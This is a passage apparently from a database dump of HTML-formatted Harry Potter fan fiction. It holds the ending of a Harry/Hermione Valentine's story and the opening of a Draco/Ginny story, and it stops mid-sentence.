style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Don&#8217;t rule Harry out\nyet.&nbsp; But it&#8217;s not Ron&#8230;&nbsp; We were up late last night, past midnight,\nand he told me he sent Eloise Midgen something.&nbsp; He said he sent her a scented Phoenix feather quill.&nbsp; Ron and Ginny have been receiving money from\nFred and George lately, since 3W is so busy and successful, so that&#8217;s how he got\nit.&nbsp; And he had the bag he&#8217;d brought it\nback from Hogsmeade in, and it had some of the scent on it.&nbsp; I swear, that boy&#8217;s gotten more and more\nsensitive lately.&nbsp; If I didn&#8217;t have\nSeamus, I&#8217;d be after Ron!&#8221; Lavender exclaimed, and Hermione couldn&#8217;t help but\nagree.&nbsp; Ron had, in fact, become almost\nlike Harry. If it wasn&#8217;t for the fact that he still fought rabidly with\nHermione, he would have been a Harry in how he treated people, but that was the\none thing Hermione would never change.&nbsp;\nTheir fights were often about things that the wound up laughing over,\nsuch as a wrong spell or certain sports and books.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">- - - - - - - - - - - -</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">After Parvati had gotten up,\nand stated her opinion on the note&#8212;&#8216;I think it&#8217;s Harry, but possibly Neville,&#8217;\nshe had said&#8212;the girls met Ginny on the way downstairs, and on the rest of the\nway down, Ginny admired Hermione&#8217;s hair comb, and Lavender, Parvati, and\nHermione admired Ginny&#8217;s charm bracelet, which had charms of a dragon, a\nmaiden, a green snake, a red lion, and two house crests together in locket\nstyle that you had to open to see the crests.&nbsp;\nOn the outsides of the crests was the Hogwarts crest, and on the other\nside was the English translation of the school motto.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">When they got to the common\nroom, the boys were nowhere to be found, so they decided they would head on\ndown to the Great Hall for breakfast.&nbsp;\nAnd sure enough, like typical boys, they were already there, eating\naway.&nbsp; Ginny nudged Lavender in the side\nand seemed to point towards something on the table.&nbsp; Lavender then nudged Parvati, motioning discreetly to whatever it\nwas Ginny had noticed.&nbsp; Parvati, being\nthe shortest one of them, had to stand up almost on tiptoe to see what they\nwere so interested in.&nbsp; Lavender tried\nto discreetly push her back on regular toe by patting her gently on the head,\nwhich sort of worked, except Hermione noticed.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;What&#8217;s so interesting that\nParvati&#8217;s on tiptoe?&#8221; she asked, giving them a suspicious look.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Oh, uh, well, nothing!&#8221;\nLavender said nervously.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Yeah, right, and I am the\nQueen of England. Lav, I&#8217;m not buying the innocent &#8216;nervous&#8217; act. Spill, or\nchill!&#8221; Hermione took a look at her and finally decided to head on to the\ntable.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Her<i>mione</i>, you&#8217;ll find\nout at the table, I promise!&#8221; Ginny pulled her back to them.&nbsp; &#8220;Besides, I&#8217;m worried about what Ron&#8217;s\nreaction to my gift will be. After all, isn&#8217;t who sent it to me obvious?&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Don&#8217;t mention it to him,\nGin.&nbsp; He&#8217;ll never notice unless you do,&#8221;\nParvati stated wisely. The other girls looked at her and nodded, agreeing.&nbsp; Ron may have been someone they, with the\nexception of Ginny, wouldn&#8217;t mind having a guy like, but he still sometimes\nfailed to notice things when it came to his sister.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">They were only a few feet away\nfrom the Gryffindor table&#8212;and Harry&#8212;when the food at the place between Harry\nand Ron changed.&nbsp; Instead of the plain\noatmeal and toast that most other people had, in its place was a glass of\nPumpkin juice, some Pumpkin Shaped Pancakes, and a bowl of syrup with\nHeart-shaped strawberries in it. </p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Hermione&#8230;. Isn&#8217;t that your\nfavorite breakfast on the table?&#8221; Lavender asked surreptitiously. &#8220;Funny, I\nthought only the Weasleys and Harry knew it was your favorite.&nbsp; But you said it couldn&#8217;t be Harry or Ron.\nAnd none of the Weasleys, apart from Ginny that is, are here, and we know she\ndoesn&#8217;t go that way.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Oh, my&#8230; Lavender <b>that</b>\nwas an image I did not need right now.&nbsp;\nGo find Seamus and snog or something for a while why don&#8217;t you. Leave me\nin peace for a bit.&#8221; Hermione pushed her in the direction of the aforementioned\nIrish Gryffindor and took her seat between Harry and Ron, both of whom looked\nas if there was nothing unusual about her breakfast.&nbsp; All in all, this seemed very suspicious to Hermione, but she\nquickly dismissed it, as the food would get cold, and she wasn&#8217;t about to waste\nit.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">- - - - - - - - - - - </p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;">He quickly\nsnuck a glance at the girl to his left, who seemed to be thoroughly enjoying\nher &#8216;Pumpkin-themed breakfast.&#8217;&nbsp; <i>Thank\nMerlin, Lavender and Parvati can actually sense when certain things are meant\nto be secret. After all, I would have never gotten that comb into her trunk\nwithout their help.</i> He honestly thought the comb looked perfect against the\nsoft chestnut brown of her hair, in which he could see shades of red peeking\ntheir way out as the sun shone in the enchanted ceiling.&nbsp; He was also greatly thankful&#8212;though he&#8217;d\nnever admit it&#8212;to Draco Malfoy, though they had had a deal:&nbsp; Draco help him with the enchantments for her\nbreakfast, and he&#8217;d help Draco get his valentine&#8217;s present to her. <i>And it\ncertainly seems to have worked,</i> he thought, as he could clearly see the\nbracelet on its receivers&#8217; right wrist.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">- - - - - - - - - - -</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">Ron had gotten up and headed\nover to the Hufflepuff table to chat with Eloise, while Hermione had noticed\nGinny trying to discreetly sneak out after a certain Slytherin had passed by\nthe table and tossed a note in her direction. This left Hermione alone with\nHarry, as the other Gryffindors were currently busy with their &#8216;significant\nothers.&#8217; For example, Lavender and Seamus had long snuck out of the hall,\napparently heading for either the Astronomy Tower or the nearest broom\ncloset.&nbsp; So when Harry got up to leave,\nhe offered his hand to her.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Are you ready to go?&#8221; he\nasked, helping her up with his famous grin.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Sure, let&#8217;s head on up,&#8221; she\nreplied, returning the grin.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">Little did they know, an even\npowerful thing would meet up with them on the way back to the common room.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">- - - - - - - - - - -</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">A couple moving staircases and\nsilent moments later, they didn&#8217;t seem to be any closer to the tower, and\nHermione was getting worried that they were lost.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Harry, where are we?&#8221; she\nasked him nervously.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;I- I- I don&#8217;t really know&#8230; I\nguess I sort of lost track of where I was taking us- Wait.. I think I&#8217;ve got\nthe map in my pocket or something.&#8221; He dug around in his pockets, as if searching\nfor something. He grinned when he touched the handy parchment that was sure to\nhelp them out, and pulled it out, flattening it as much as he could without\ngetting it dirty. &#8220;I solemnly swear I am up to no good.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">They both watched as the\nfamiliar map began to outline the whole of Hogwarts. Hermione noticed with\namusement that instead of being in the Astronomy Tower, Lavender had drug\nSeamus to the same broom closet she and Harry had arrived in during their 3rd\nyear Time-Turner experience. She was moreover satisfied to see that she was\nright about whom Ginny had been following, for the girl and her Slytherin beau\nwere the only current occupants of the Astronomy Tower.&nbsp; <i>If only Lavender was right about whom my\nAdmirer is. But wouldn&#8217;t it have been obvious?</i></p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;So you saw who Ginny is\nwith?&#8221; Harry&#8217;s voice broke through her thoughts like lightning during a\nthunderstorm.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Yes, I certainly did. And did\nyou notice where Lavender and Seamus are?&#8221; Hermione watched him look at the\nmap, and then back up at her with an incredulous look on his face.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;They&#8217;re in- they&#8217;re in the\nbroom closet that we arrived in after turning the Time-Turner in third year,\naren&#8217;t they?&#8221; Harry looked at her, admiring how her nose gently sloped\ndownwards before angling up ever so slightly at the tip.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Yes, they are. hold on,\nwhat&#8217;s that writing in the room next door?&#8221; Hermione asked him inquisitively.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Something about saying the\nword &#8216;magicus itemus&#8217; to reveal any magical items in nearby rooms. That&#8217;s\nweird, this has never shown up before on the map, why would it now?&#8221; </p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Maybe the item is important\nto what&#8217;s going on around us?&#8221; she suggested. Something about the atmosphere\nmade her think they should say the words.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Well&#8230; Magicus itemus!&#8221; he\nstated forcefully. Then, in bright orange ink, in the room next door, was the\nword &#8220;Erised.&#8221; Harry now understood.&nbsp;\n&#8220;Hermione&#8230; The item in the room next door is the mirror.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;The mirror? Which mir-Oh!\nSurely you don&#8217;t mean the Mirror of ERISED?&#8221; she asked, getting louder with\nevery word.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Yes, that&#8217;s the mirror. You\nwant to go see it? I&#8217;ll only go if you don&#8217;t mind.&#8221; he watched her, waiting for\nher response.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Well, seeing as I&#8217;ve only\nseen the pictures in books, and I&#8217;d love to see it for real, I&#8217;d love to see\nit. Come on, let&#8217;s go.&#8221; Hermione dragged his arm over to the door that\nconnected to the room. She opened it with her free hand, as the other was now\nfirmly grasping Harry&#8217;s, and stepped inside. She soon found however, that\nnothing could have prepared her for the first glimpse of the real Mirror of Erised.\n&#8220;Oh, my&#8230;. It&#8217;s beautiful!&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Funny, standing next to you,\nit looks rather dull.&#8221; came the reply. She looked at him, and noticed the\nslight blush that was creeping along his cheeks. <i>Wait a minute&#8230; Harry&#8217;s\nblushing? At me?</i>&nbsp; The thought was\nvery foreign, but it made her feel all warm inside.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Listen Herm, if you want to\nlook in the mirror with me, there&#8217;s a chair or two in here I think,&#8221; he said,\nlighting his wand with a quick &#8220;Lumos.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">In the end they found only one\nchair fit to sit in, as the others seemed to have been broken.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Uh&#8230; Herm, if you want to, uh,\nwe can share.&#8221; He seemed a bit nervous, but then, he&#8217;d never been in this\nsituation before. And he knew the only way they would be able to share was if\nshe sat in his lap.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Ok, if you&#8217;re sure you don&#8217;t\nmind,&#8221; she replied, albeit a bit shyly, but then again, best friends with\nplatonic feelings for each other didn&#8217;t generally feel shy about even doing\nthings like this.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Ok,&#8221; he said, pulling the\nchair over to the mirror, and sitting down in it. &#8220;Come on, Herm, I&#8217;ll stand up\nif you want me to.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">She smiled at him, walking\nover. &#8220;I have an idea. But you have to get up for me to do it.&#8221; He complied,\ngetting up, and she changed the wooden chair into an exact replica of their\nfavorite chair in the Gryffindor common room. She went ahead and sat down,\nsinking into the chair, as it was so comfortable. &#8220;Come on, Harry, surely\nyou&#8217;re not afraid of little ole me, are you?&#8221; His eyes narrowed, even though he\nknew she was only teasing him.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Ok, you asked me to, so I\nwill,&#8221; he said sitting down next to her and putting his arm around her\nshoulders.&nbsp; She leaned against him,\nsilent for a moment, as if she was transfixed by whatever she could see in the\nmirror.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Harry?&#8221; she asked after a\nmoment, though she was still staring into the mirror.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Yes, Herm?&#8221; he replied,\npulling her a bit closer in his arms still.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;What do you see now, when you\nlook into the mirror?&#8221; her voice was soft, wistful, as if whatever she saw was\nbeyond anything she&#8217;d ever imagined.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Why do you ask?&#8221; was his answer,\nas he was sure he couldn&#8217;t be happier. Upon looking into the mirror, he had\nbeen astonished to see that he was looking at the two of them exactly as they\nwere. <i>What was it the Headmaster said to me? Ah, yes. He told me the\nhappiest man alive would look into the mirror and see himself exactly as he\nwas. Which must mean I couldn&#8217;t be happier right now&#8230;</i></p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Because I&#8217;m looking at what&#8217;s\n<b><i>real</i></b>, Harry. The image in the picture shows us exactly as we are.\nTogether. Alone.&#8221; She tore her eyes away from the mirror, turning her head up\nto look at him, as he was looking down at her now.&nbsp; &#8220;But for some reason, I thought when I looked into the mirror,\nI&#8217;d see myself finding out who my mysterious admirer is.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Maybe the mirror&#8217;s trying to\ntell you what you want to hear? And maybe it&#8217;s not lying,&#8221; he said softly, eyes\nnever breaking contact with hers.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;But that would- that would\nmean you <i>are</i> my admirer,&#8221; she said, with disbelief in her voice.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Hermione&#8230; Lavender was right\nthis morning when she said your admirer meant to keep his identity a secret at\nthat present time.&nbsp; But, truth be told,\nI think he&#8217;s realizing he wants you to know. Believe, Hermione. She was right.\nDon&#8217;t rule me out, because I <i>am</i> the person who sent you that comb,\nwhich, I might add, couldn&#8217;t look even half as good on anyone else as it does\non you.&#8221; He brought his left hand up to turn her cheek towards him, and without\nhim noticing, she shifted her body so she was sitting in his lap sideways. &#8220;And\nyes, the breakfast was me, as well. Though, you&#8217;d never believe who helped me\nwith the breakfast&#8230; I&#8217;ll tell you later, not now.&#8221; <i>Not when there&#8217;s\nsomething much, much more important than telling her all the details of the\n&#8216;Secret Admirer&#8217; endeavor.</i></p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;I can wait to find out who\nhelped you. I just want you all to myself for awhile,&#8221; she said, smiling\nbashfully up at him. <i>Merlin, his eyes look so bright in this light&#8230; Too bad\nthey don&#8217;t look like this in normal light.</i></p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">Finally, Harry found he\ncouldn&#8217;t resist her any longer, and pulled her closer, taking care to keep eye\ncontact the whole while. And when their lips met, neither one could repress the\nsighs that came out of their mouth. For, in that one day, their friendship had\nchanged, thanks to some good friends, and an old mirror. Of course, the friends\nthat had helped them were currently busy in their own romantic endeavors, but\nnone of them had gotten lost quite like Harry and Hermione had.&nbsp; Later, Hermione told Harry that in her\nbooks, that was what all Valentine&#8217;s Day&#8217;s should be like. Not about red, pink,\nor any of the flowers and candy, but gifts from the heart, the unconventional\nthings that really mattered. And from then on, both looked at Valentine&#8217;s Day\nas just another day, but also as the anniversary of the best day of their lives&#8212;getting lost or not.</p>\n\n\n\n\n\n\n'),
	(228, 1, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="Time%20and%20Time%20Again_files/filelist.xml">\n\n<title>Time and Time Again</title>\n\n<xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n\n\n<p><i>A/N: &nbsp;Okay &#8211; this was my first attempt at a D/G fic (I usually write H/Hr) so PLEASE be nice (even though I know it kinda sucks&#8230;). Ginny is in Sixth Year &#8211; Draco in Seventh.</i></p>\n\n<p><i>Anything in first person is Ginny&#8217;s POV.</i></p>\n\n<p><i>Disclaimer: I own nothing but the keyboard &#8211; drat&#8230;The poem Draco writes Ginny is actually the first verse of &#8220;The Scientist&#8221; by Coldplay.</i></p>\n\n<p><b>~* Time and Time Again</b>&nbsp;*~</p>\n\n<p><b>Experience is that marvelous thing that enables you to recognize a mistake when you make it again.</b> And again. And again.</p>\n\n<p>I think my brain must have missed the memo about that one. Because I keep making the same mistake over and over. I tell myself, &#8220;That was the last time. I&#8217;m not going to do this anymore.&#8221; And forty-eight hours later, I&#8217;m on my way down to the Slytherin dorms, waiting for a certain Head Boy to let me into his room.</p>\n\n<p>What? Surprised are you? A Weasley and a Malfoy &#8211; there&#8217;s something I never thought I&#8217;d see. It goes against any and all principles I&#8217;ve set for myself. And then there&#8217;s Ron &#8211; God, is he going to have a shit fit when he finds out. He&#8217;s going to go on and on about my so-called principles, just like Hermione did when I told she and Harry about it. But I suppose I&#8217;ll tell him exactly what I felt like telling her &#8211; <b>Those are my principles. If you don&#8217;t like them, I have others. </b></p>\n\n<p>I mean, Draco&#8217;s not as bad as he seems&#8230;most of the time. He&#8217;s tolerable, at least with me. </p>\n\n<p>Ugh, this is a complete and utter mess.</p>\n\n<p>Ron&#8217;s yelling &#8211; Hermione must have opened her mouth about all of this.</p>\n\n<p>Thanks &#8216;Mione.</p>\n\n<p>Well &#8211; there goes my Valentines Day. Better get out of here before Hurricane Ron comes through.</p>\n\n<p>*~*~*~*~*</p>\n\n<p>Ginny barely got out of the Common Room without being followed. She had to bribe a First Year to tell Ron that she headed towards the library when in actuality she was headed downstairs to see Draco. She got within five feet of the dungeons when something on the floor caught her eye &#8211; a note, addressed to her, in Draco&#8217;s tidy scrawl.</p>\n\n<p><i>I needed to get something from the kitchens. The password is wolfsbane. Make yourself at home.</i><br>\n\n\n<i>-Draco</i></p>\n\n<p>Ginny shook her head smiling. The last line was an inside joke of sorts. Ron once told Draco he wouldn&#8217;t know what hospitality was if it bit him in the arse. <i>Draco responded by saying, <b>&#8220;Hospitality is making your guests feel at home. Even if you wish they were&#8230;</b>&#8221; He paused for dramatic effect, &#8220;anywhere else.&#8221; Ginny snorted into her pumpkin juice and Ron shot her a look. &#8220;What?&#8221; She told him. &#8220;It was funny.&#8221; </i></p>\n\n<p>Ginny let herself into his room and shut the door behind her. As Head Boy, Draco had a room all to himself and lucky for Ginny, she didn&#8217;t have to walk through the Common Room to get there. It was a room all on its own right outside of the dormitories.</p>\n\n<p>Ginny sat herself down on his bed and let her mind wander back to the day that this all started, the common situation with a completely unexpected ending.</p>\n\n<p>&nbsp;~* <i>Ginny walked into the library, grumbling about having to study during the holidays. She had gotten caught out of bed after hours (she was a prefect, granted, but even they had a curfew) by Filch and that damned cat of his and he thought up the worst detention he possibly could &#8211; </i></p>\n\n<p><i>Detention during the holidays.</i><i>&nbsp;</i></p>\n\n<p><i>It was New Year&#8217;s Eve for Christ sake! She wanted to have some fun &#8211; but alas, no, she was stuck in detention with &#8211; God help her &#8211; Draco Malfoy.</i></p>\n\n<p><i>The two had already been in the library two hours and hadn&#8217;t said a word to each other. </i></p>\n\n<p><i>Draco decided to break the silence. &#8220;So Weasley &#8211; what brings you to detention?&#8221; </i></p>\n\n<p><i>Ginny wanted to slap that smirk right off of his face. &#8220;Caught out of bed after hours, thanks.&#8221;</i></p>\n\n<p><i>&#8220;Virginia Weasley traipsing about after curfew?</i><i> That doesn&#8217;t seem possible.&#8221;</i></p>\n\n<p><i>&#8220;Oh, sod off Malfoy. I&#8217;m in no mood to deal with you right now.&#8221;</i></p>\n\n<p><i>&nbsp;That was the last they said until Madame Pince came over to them three hours later and told them they were free to go. It was </i><st1:time minute="0" hour="11"><i>eleven &nbsp;o&#8217;clock</i></st1:time><i> and they missed dinner.</i></p>\n\n<p><i>&#8220;Weasley, your Common Room is that way,&#8221; Draco said pointing to the right.</i></p>\n\n<p><i>&#8220;I&#8217;m going to the kitchens to get something to eat,&#8221; was all she said. Draco followed her, and something inside of her mind went off when she realized he was following her. She dismissed the feeling as hunger.</i></p>\n\n<p><i>&nbsp;The two of them got to the kitchens, and the house elves were more than happy to give them whatever they wanted.</i></p>\n\n<p><i>&#8220;Anything.&#8221;</i><i> Ginny said. She was famished.</i></p>\n\n<p><i>Draco thought for a second. &#8220;Ice cream.&#8221;</i></p>\n\n<p><i>&#8220;Ice cream?&#8221;</i><i> Ginny said incredulously.</i></p>\n\n<p><i>He shrugged. &#8220;<b>Ice</b>\n\n<b>cream is exquisite. What a pity it isn&#8217;t illegal.</b> Because then, it would be even more fun sneaking around here trying to get some, wouldn&#8217;t it Weasley?&#8221;</i></p>\n\n<p><i>Ginny glared and had another forkful of the pie she was eating. *~</i></p>\n\n<p>I should have left then. I could have avoided this whole thing. But now that it&#8217;s been started, now that I&#8217;ve experienced this &#8211; I don&#8217;t want to stop. I don&#8217;t think I love him, but I know its not only lust either. </p>\n\n<p>I keep trying to make myself stop all of this. I tried guilt &#8211; there&#8217;s a saying I heard my mother say one day to Charlie &#8211; &#8220;<b>Sex without love is an empty experience.&#8221;</b></p>\n\n<p><b>But as empty experiences go, it&#8217;s a pretty good one. </b></p>\n\n<p>Ugh &#8211; where is he? </p>\n\n<p>*~*~*~*~*</p>\n\n<p>&nbsp;~* <i>By</i><i> the time Ginny was finished with everything, it was well past </i><st1:time minute="30" hour="11"><i>eleven thirty</i></st1:time><i>. It would be </i><st1:time minute="0" hour="0"><i>midnight</i></st1:time><i> soon, a new year. </i></p>\n\n<p><i>She and Draco had a somewhat civilized conversation, and when he wasn&#8217;t making rude comments, he really wasn&#8217;t all that bad. He was pretty cute now that she thought about it&#8230;</i></p>\n\n<p><i>Truth?</i><i> Ginny had a crush on Draco Malfoy for a while, ever since she got over Harry in the beginning of her Fifth Year. It was a hopeless case, but a girl can dream, right?</i></p>\n\n<p><i>Ginny and Draco got up to leave and one of the house elves knocked into Draco from behind and he fell &#8211;</i></p>\n\n<p><i>Right on top of Ginny.</i><i>&nbsp;</i></p>\n\n<p><i>The sudden physical contact sent a wave of emotions through her, and she was wondering what she would do if he didn&#8217;t get up soon.</i></p>\n\n<p><i>But he didn&#8217;t get up. In fact, he moved closer. Ginny lifted her head slightly and their lips met in a soft kiss. Draco pulled away for a moment, just to look at her, and something just clicked in his mind. He bent for another kiss, deeper this time, and was surprised when Ginny didn&#8217;t pull away. If possible, she tried to pull him even closer.</i></p>\n\n<p><i>Looking back, she would never figure out how they got from the kitchens to his room without breaking away from each other, but they managed. They got into his room, mouths fused together, tongues dueling each other, their hands all over the place, both over and under the clothes.</i></p>\n\n<p><i>Needless to say, Ginny rang in the New Year with a bang. </i>~*</p>\n\n<p>By the time Draco came back from his rendezvous in the kitchen, Ginny was laying on his bed, one leg dangling over the side.</p>\n\n<p>&#8220;What are you doing?&#8221; He asked, setting down a cup of what she hoped was wine on his desk.</p>\n\n<p>&#8220;Nothing,&#8221; she said, still looking up at the canap&#233; of his bed.</p>\n\n<p>&#8220;<b>The</b>\n\n<b>problem with doing nothing is you never know when you&#8217;re finished,</b>&#8221; he said, walking over to her with a goblet.</p>\n\n<p>Ginny took a sip of what turned out to be butterbeer. &#8220;What? No wine for your Valentine?&#8221; She said, smirking.</p>\n\n<p>&#8220;I don&#8217;t drink anything with alcohol in it anymore. I had a bad experience with a test in that bloody Muggle Studies class McGonagall is forcing me to take. Suffice to say, <b>alcohol</b>\n\n<b>and calculus don&#8217;t mix. Never drink and derive.</b>&#8221;</p>\n\n<p>Ginny grinned, taking another sip of the butterbeer. &#8220;Well, Hurricane Ron has finally landed.&#8221;</p>\n\n<p>Draco rolled his eyes. &#8220;What did he have to say?&#8221;</p>\n\n<p>&#8220;I&#8217;m not quite sure. I left before he could say anything, because I did not feel like arguing with him.&#8221;</p>\n\n<p>&#8220;Obviously, your brother knows nothing about the female sex.&#8221;</p>\n\n<p>&#8220;Oh, and you do?&#8221;</p>\n\n<p>Draco nodded. &#8220;Yes. And it&#8217;s simple, really. You don&#8217;t quarrel with women because <b>there are two theories to arguing with a woman &#8211; and neither of them work.</b>&#8221;</p>\n\n<p>&#8220;Is that right?&#8221; Ginny said, leaning over to kiss him. </p>\n\n<p>&nbsp;&#8220;Yes, it is,&#8221; he murmured against her lips.</p>\n\n<p>&nbsp;Those were the last words spoken for a few hours.</p>\n\n<p>&nbsp;*~*~*~*~*</p>\n\n<p>Have you ever noticed how many famous lines revolve around love? Love is conquers all. <b>Love is the answer.</b></p>\n\n<p><b>But while you&#8217;re waiting for the answer, sex raises some pretty good questions.</b> Like if this isn&#8217;t love, then what the hell have I gotten myself into? And why don&#8217;t I want to stop? </p>\n\n<p>I&#8217;m beginning to think that I think too much. I should just let things happen as they happen, let fate run it&#8217;s course, and hope that I&#8217;m still alive by the end of the day.</p>\n\n<p>My God, this is senseless. It&#8217;s senseless, it&#8217;s wrong, and it&#8217;s stupid, and <b>only two things are infinite &#8211; the universe and human stupidity, and I&#8217;m not sure about the former.</b></p>\n\n<p><b>But stupidity got us into this mess. Why can&#8217;t it get us out?</b></p>\n\n<p>*~*~*~*~*</p>\n\n<p>Ginny was staring up at the canap&#233; of the bed again, lost in thought. Draco reached over and touched her arm. &#8220;You awake?&#8221;</p>\n\n<p>Ginny sighed, &#8220;Yes. Confused &#8211; but awake. Why?&#8221; </p>\n\n<p>Draco leaned over and took something out of the drawer of his bedside table. He wordlessly handed the object to her. It was a box, one that looked like it had jewelry inside of it.</p>\n\n<p>&#8220;What&#8217;s this?&#8221;</p>\n\n<p>&#8220;Your Valentine&#8217;s Day 